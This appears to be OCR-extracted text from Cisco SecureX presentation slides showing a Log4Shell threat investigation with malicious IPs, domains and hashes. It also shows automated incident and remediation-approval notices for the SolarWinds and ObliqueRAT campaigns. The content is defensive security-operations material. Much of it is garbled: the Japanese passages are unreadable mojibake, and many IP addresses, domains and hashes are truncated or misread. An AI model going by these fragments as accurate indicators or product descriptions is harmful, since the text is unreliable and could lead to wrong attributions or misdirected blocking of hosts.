@ Shigeru Kimura ~

Automatic 3 Panel Layout v

e} 0 Targets

Q 460 Investigated v

@ 0 Omitted "k 185 Related v

=
@ 141 Indicators v @ 11 Modules v

Sightings

Cisco Talos = Log4Shell attack I0Cs

343GuiltySpark

My Environment (0) Global (561)

@ | D

Sports.
IBM X-Force Exchange

Feb 10, 2016 @ 9:00:00 AM JST - Dec 16, 2021 @ 9:45:46 AM JST

direct-to-IP URL
direct-to-IP URL

Malicious ™ Suspicious ™ Common ™ Unknown ™ Clean M Target:

found in threat feeds
found in threat feeds

D|D|D

Feed: URLhaus
Feed: URLhaus

URLhaus is a project operated by abuse.ch with thepurpose of ...
Abuse.ch URLhaus Malware URL Exchange

T
Feb 10, 2016 @ 9:00:00 AM JST

T
Dec 22, 2020 @ 4:06:43 AM JST

T
Sep 18, 2021 @ 1:19:11 AM JST

T T
Dec 11, 2021 @ 4:34:46 PM JST Dec 13, 2021 @ 8:27:42 PM JST

Miguel Jiménez - LogdShell (LOGAJ) - CVE-2021-44228 relat...
343GuiltySpark

Dec 16, 2021 @ 9:45:46 AM JST

Graph/ Dispositions: AllY  Types: All ¥

Mode: Expanded ¥

Showing 200 nodes

DD | D

LCIA:HoneyNet:December 2021
Louisi Cyber | i s Alliance (LCIA): HoneyPot Surica...

&%

& 7 e

Results

TAR AAn1aA1E An94

~
URL v
http://54.173....

Malicipus IP v\

54.172%9.121

i

Domain v
ec2-54-173-99-...

Q
Q

Malicicus SHA-256 v
SHA-256 v e7cb3d

2f5¢.

Q, / Domain v

telewebion.co.... @
cxapp.io

Domain v
gotoassist.com

@

Domain v
vm284453.pg.ho...

—
Tl
URL v \
(@)

http://45.67.2...

Domain v Q

E==] -
Details
URL v

http://c6s091k... VO TARGETS

v 460 INVESTIGATED
7faf976567f...

Suspicious IP v

154.247.218.44 2 Sightings

i

Domain v

el iH(ra.m

Q
=

spicious IP v
5.67.230.68

interactsh.com
11 Sightings
138.197.206...
26 Sightings

138.197.99 34

7 Siahtinas

7faf976567f5.bingsearchlib.com ™

Judgements (2) Verdicts (2)  Sightings (2)  Indicators (1)

Judgements associate a disposition with an observable. Learn More [/

Search data Sort by

| Find ...

v I [ Start Time Newest

~ H Current (2) v

Module: Umbrella
Source: Umbrella Investigate API [

Start Time: Dec 16, 2021 @ 9:44 AM JST

End Time: Jan 15, 2022 @ 9:44 AM JST

JSON

Confidence: High
Severity: High
Priority: 90
TLP: Amber




associated with indicators of compromise were seen in your enfi
iIncident has been created.

e Click here to view the incident or click here to investigafl
e Click here to approve automated remediation

Sighting Summary:

e Module AMP for Endpoints returned 24 sightings wit
e Module AMP Global Intelligence returned 35 sighting




incident ) = m%gfg;am E Fallow Update Create Security Incident Resolve Delete

Configuration item Assignment group Q
Assigned to
> Short description Talos

Description An automated investigation into observables related to the SolarWinds supply chain attack was conducted by SecureX Orchestration.

Related Search Results »

Incident
e N
Watch list & & Work notes list
ed to me

Work notes Work notes

Additional comments (Customer visible) Post

Activities: 4

S  SecureX + 2021-01-19 18:30:22
View Remediation Approval Request
erview
View Threat Response Incident
Critical Incidents b 'RESW’EE

S SecureX Work notes « 2021-01-19 18:30:16

View Workflow
ATF Suites
Sighting Summary:
o Module AMP for Endpoints returned 15 sightings with a total of 15 targets
Security Incident o Module Umbrella returned 4 sightings with a total of 4 targets

5 SecureX Field changes « 2021-01-19 18:30:16




——————————————————

Due_soon: remediation approval

TASK DISPLAY NAME MESSAGE
SolarWinds remediation approval

TASK TYPE

in sightings within your environment. If you approve this task, automated
Approval

remediation will be performed (based on the workflow configuration) for

the observables listed below. If you reject this task, no further action will
REQUESTOR

requestor@company.com

be taken.

OWNER Select a response from the choices below:
owner@company.com
v APPROVE % REJECT

ASSIGNEES
assignee@company.com

ADD A MESSAGE
SUBJECT LINE

DUE DATE
02/23/21

EXPIRATION DATE




— T AN =23 7 FBFURVEB R/ \>T1>7)
t31U54J0%7 loC SAET—/70-04H!
SOC ARL—=ANTOT YA Neshi
J097y77— NehEs?
BE(EHRZzIAE (Talos [BIHREE)
SecureX Threat Response Z#||AiAE% I
SecureX Threat Response DF&EER%E

o &~ -

o sl
¢ = > -
il B
5 S .
LS L
Tavget Natwork @

cisco E/W



URBRL\> 71>

AR~ A
174707 loC AED—-II70-0H
J—9J0-HERAREIT
RSS J1—RzlB%
BRI IS0T —XIv NG5 h3ELAEE EE(CIERENS
JOJRIRICEDVWA-TYy M ERENEE. WebEx TiBAIENS
SOC ARL—AF)IWIT> RTYERSNICIRERER 2 VI3

LL

T

A

o &~ -

# & @ F @

You 10:18 AM

Talos Intelligence Notification
A Threat Response incident has been created for the ObliqueRat Campaign blog post ObliqueRAT returns with new campaign using hijacked websites from Talos. Click here to view the incident or click here to investigate.

Click here to approve automated remediation.
Click here to view the ServiceNow incident.

Sighting Summary:
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F&8 : SecureX OffifiE

[Q] Cisco &mZ 1 DEFE>TWET
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F&8 : SecureX DB

[Q] Cisco HmZfE>TLWEEA
. Cisco HEZE>TULRV SecureX I-HHWET
. SecureX [CHA1>FvTd3E Cisco RHEDBRA>TIZIOANFIRATEEY
. Cisco D171 AZFBUGARY —ILELTETHERAN ?
- FETHABTES 3rd Party 127V 1 A2 GEIGENMUTHEEAN ?

SecureX E)LM>A>FUZIDR
AMP File Reputation
AMP Global Intelligence
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